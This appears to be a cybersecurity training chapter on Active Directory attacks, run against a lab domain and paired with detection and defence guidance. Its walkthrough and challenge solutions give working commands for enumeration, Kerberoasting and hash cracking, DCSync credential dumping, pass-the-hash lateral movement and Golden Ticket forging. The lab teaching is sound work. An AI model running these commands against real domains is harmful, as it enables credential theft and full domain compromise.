Home › Offensive Security › Active Directory Attacks
Active Directory Attacks
Kerberoasting, delegation abuse, ACL attacks, DCSync and full domain-compromise chains.
▶ Here to build, not read? Jump to the Hands-On Practice.
Prerequisites: Active Directory · Kerberos · NTLM · Enumeration
Overview
Active Directory is the identity backbone of most enterprises, and attacking it is less about single exploits than about abusing legitimate features and misconfigurations to escalate and move. AD is a graph: users, computers, groups and their permissions (ACLs) form edges, and an attacker's job is to find a path from a low-privileged foothold to a high-value target such as Domain Admin. The defender's job is to see and cut those paths. This graph framing — popularised by BloodHound — is the single most important mental model in the domain.
Because AD authentication runs on Kerberos and NTLM, most AD attacks are really credential and ticket attacks: harvest a credential or ticket, use it somewhere it grants more power, repeat. The techniques (Kerberoasting, ACL abuse, delegation, DCSync) are individually simple; the skill is chaining them along a path the graph reveals, quietly enough to evade detection.
How it works
A typical domain-compromise chain:
- Foothold — a phished user or a cracked password gives an unprivileged domain account.
- Enumerate — collect the graph (BloodHound/SharpHound): sessions, group memberships, ACLs, delegation, SPNs.
- Escalate via a path — e.g. a group the user can control has
GenericAllover a privileged user; Kerberoast a weak service account; abuse an ACL to add yourself to a privileged group. - Credential access — dump credentials from memory (LSASS) or the domain (DCSync pulls hashes by impersonating a domain controller's replication).
- Domain dominance — with the
krbtgthash (from DCSync) forge Golden Tickets for persistence.
Every edge is a trust relationship AD was designed to have; the attack is using it in an unintended direction.
flowchart TD
A["Active Directory Attacks"] --> B["Concepts & terminology"]
A --> C["Internal mechanics"]
C --> D["Trust boundaries"]
D --> E["Attack surface"]
D --> F["Defensive controls"]
E --> G["Detection & telemetry"]
F --> G
G --> H["Verification in the lab"]
- BloodHound / SharpHound — The collector and graph tool that reveals attack paths across AD.
- ACL abuse — Exploiting object permissions (GenericAll, WriteDACL, GenericWrite) to seize control of principals.
- DCSync (T1003.006) — Impersonating a DC's replication to pull password hashes, including krbtgt.
- Pass-the-Hash / Pass-the-Ticket — Authenticating with a stolen NTLM hash or Kerberos ticket instead of a password.
- Tiered admin model — Separating admin credentials by asset tier so a workstation compromise cannot reach DCs.
- gMSA — Group Managed Service Account with a long, auto-rotated password — mitigates Kerberoasting.
reaching Domain Admin within hours via BloodHound-guided ACL abuse, Kerberoasting and DCSync, then deploying ransomware through GPO or PsExec. The defensive takeaways are structural — tiering, least privilege, credential protection — not a single patch. Reproduce the full path in a lab forest and measure how each control changes the attacker's shortest path.
Hands-On Practice
Mission. Walk from an unprivileged foothold to Domain Admin via Kerberoasting and an ACL/DCSync path.
🧪 Lab setup — Offensive Security
metasploitable— boot-to-root Linux target (recon → exploit → loot)dvwa / juice-shop— web foothold targetsAD forest (optional)— GOAD or a Windows Server eval VM for AD chapters — see notes
# offsec-lab/docker-compose.yml — Offensive part environment
services:
target-linux:
image: tleemcjr/metasploitable2
networks: [labnet]
command: /bin/sh -c "/etc/rc.local; tail -f /dev/null"
target-web:
image: vulnerables/web-dvwa
ports: ["8082:80"]
networks: [labnet]
networks:
labnet:
driver: bridge
internal: trueTarget for this lesson: Samba AD-DC (basics) or GOAD (full forest). Tooling: netexec, bloodhound, impacket, hashcat.. Full setup: Offensive Security lab environment.
Guided walkthrough
netexec smb 172.20.0.10 -u bob -p 'Passw0rd' --users --groupsExpected output
Domain LAB.LOCAL, users list, group memberships.bloodhound-python -u bob -p 'Passw0rd' -d lab.local -c All -ns 172.20.0.10Expected output
JSON files ready to import into BloodHound.impacket-GetUserSPNs -request -dc-ip 172.20.0.10 lab.local/bob:Passw0rdExpected output
A $krb5tgs$ hash for the 'sqlsvc' account.hashcat -m 13100 sqlsvc.hash rockyou.txtExpected output
sqlsvc:Summer2024!# BloodHound path: sqlsvc has GenericAll on an admin → reset pw → DCSync
impacket-secretsdump -just-dc lab.local/admin@172.20.0.10Expected output
krbtgt:502:aad3b...:<hash> (domain hashes dumped)Live terminal
labserver/README.md), then click Connect lab runner and paste the token. Until then, copy commands from the walkthrough and run them in your own Kali terminal.
Try it yourself
Challenge 1. AS-REP roast an account with pre-auth disabled and crack it — no credentials needed.
Hint
impacket-GetNPUsers finds them.
Solution
impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 172.20.0.10, then hashcat -m 18200.
Challenge 2. Use the cracked service account to move laterally with pass-the-hash.
Hint
netexec accepts NTLM hashes with -H.
Solution
netexec smb <targets> -u sqlsvc -H <nthash> then impacket-psexec -hashes :<nthash> ...
Challenge 3. Forge a Golden Ticket with the krbtgt hash and access a service as a fake admin.
Hint
impacket-ticketer builds it.
Solution
impacket-ticketer -nthash <krbtgt> -domain-sid <sid> -domain lab.local fakeadmin then use the ccache.
Quick quiz
Detect & defend (blue-team view)
- Event 4769 with RC4 (0x17) and many SPNs from one account = Kerberoasting.
- Replication (DsGetNCChanges / Event 4662) from a non-DC principal = DCSync.
- Anomalous ticket lifetimes / tickets for non-existent accounts = Golden Ticket.
Skills check
You can move on when you can, without notes:
Going deeper — The graph mindset with BloodHound
AD compromise is shortest-path search on a permissions graph.
# Collect (from a domain-joined or credentialed context)
bloodhound-python -u user -p 'Password1' -d domain.local -c All -ns DC_IP
# or SharpHound.exe -c AllLoad the data and ask BloodHound for "Shortest paths to Domain Admins". Each edge is an actionable technique: MemberOf, GenericAll, WriteDacl, ForceChangePassword, AddMember, AllowedToDelegate. The defender runs the same tool to find and cut those edges before an attacker walks them.
Going deeper — A worked escalation and its detections
A common path and the telemetry it leaves:
- Kerberoast a service account (Event 4769, RC4) → crack offline.
- ACL abuse: that account has
GenericAllon a helpdesk group → add yourself (Event 4728). - The helpdesk group can
ForceChangePasswordon an admin (Event 4724) → reset it. - DCSync with the admin (replication from a non-DC → Event 4662 / directory replication) → pull
krbtgt. - Golden Ticket for persistence.
Defences: least privilege on ACLs, tiered admin, LSASS protection (Credential Guard), and alerting on 4769 roasting patterns, 4728/4724 in sensitive groups, and replication from non-DCs.
Check Yourself
Quick self-test — answers hidden. If you can't answer without notes, redo the relevant walkthrough step.
Q1. In one sentence, what security problem does Active Directory Attacks address or create?
Show answer
Active Directory Attacks matters because its behaviour determines where trust is placed; misplacing that trust is the root of the associated bug class.
Q2. Name one trust boundary involved in Active Directory Attacks and what crosses it.
Show answer
Any point where attacker-influenced data meets privileged processing — e.g. user input reaching an interpreter, or a token reaching a verifier.
Q3. Give one attack against Active Directory Attacks and the single control that most reduces its impact.
Show answer
State the attack precisely, then the primary control (validation, encoding, isolation, authentication, or least privilege) — not a laundry list.
Interview angles
- Walk me through how Active Directory Attacks works, then tell me where you would attack it.
- How would you detect Active Directory Attacks being abused in an environment you defend?
- What is the difference between mitigating and eliminating the risk associated with Active Directory Attacks?
Pitfalls & Best Practice
Common mistakes
- Flat admin model — the same admin logs into workstations and domain controllers, so any host compromise reaches DA.
- Over-permissive ACLs (GenericAll/WriteDACL granted broadly) creating hidden escalation edges.
- Weak service-account passwords and unnecessary SPNs feeding Kerberoasting.
- No LSASS protection, so a single admin session yields credentials for lateral movement.
- Detecting only malware, not the legitimate-feature-abuse (4769/4728/4662) that defines AD attacks.
Do this instead
- Adopt a tiered admin model and separate, non-overlapping admin credentials per tier.
- Run BloodHound defensively and remediate the shortest paths to privileged groups.
- Protect credentials in memory (Credential Guard) and restrict local admin (LAPS).
- Use gMSAs, AES-only Kerberos, and remove unneeded SPNs and delegation.
- Alert on Kerberoasting, sensitive-group changes, and replication from non-domain-controllers.
Reference
MITRE ATT&CK Mapping
| Technique | ID |
|---|---|
| ATT&CK technique | T1558.003 |
| ATT&CK technique | T1207 |
| ATT&CK technique | T1484 |
| ATT&CK technique | T1550.002 |
| ATT&CK technique | T1003.006 |
OWASP Mapping
- See OWASP Top 10 for the relevant category when this applies to web systems.
CWE Mapping
- No direct weakness ID; when this concept fails in code it usually surfaces as one of the CWE Top 25 entries.
CAPEC Mapping
- No single attack pattern; see the CAPEC chapter to map behaviour to patterns.
CVE References
NIST References
- NIST CSRC Publications — search for the control family or guide relevant to this topic.
RFC References
- No governing RFC for this topic. Where a protocol is involved, its RFC is linked from the relevant networking chapter.
Research Papers
- Reflections on Trusting Trust — Ken Thompson, 1984
- Smashing the Stack for Fun and Profit — Aleph One, Phrack 49, 1996
- The Protection of Information in Computer Systems — Saltzer & Schroeder, 1975
Books
- Active Directory, 5th ed. — Desmond, Richards, Allen & Lowe-Norris
- Pentesting Active Directory & Windows-based Infrastructure — Isakov
Official Documentation
Related Chapters
Part of the Offensive Security section of Cybersecurity-Mastery. 🔴 Expert · ~108 min hands-on · Last updated 2026-08-12.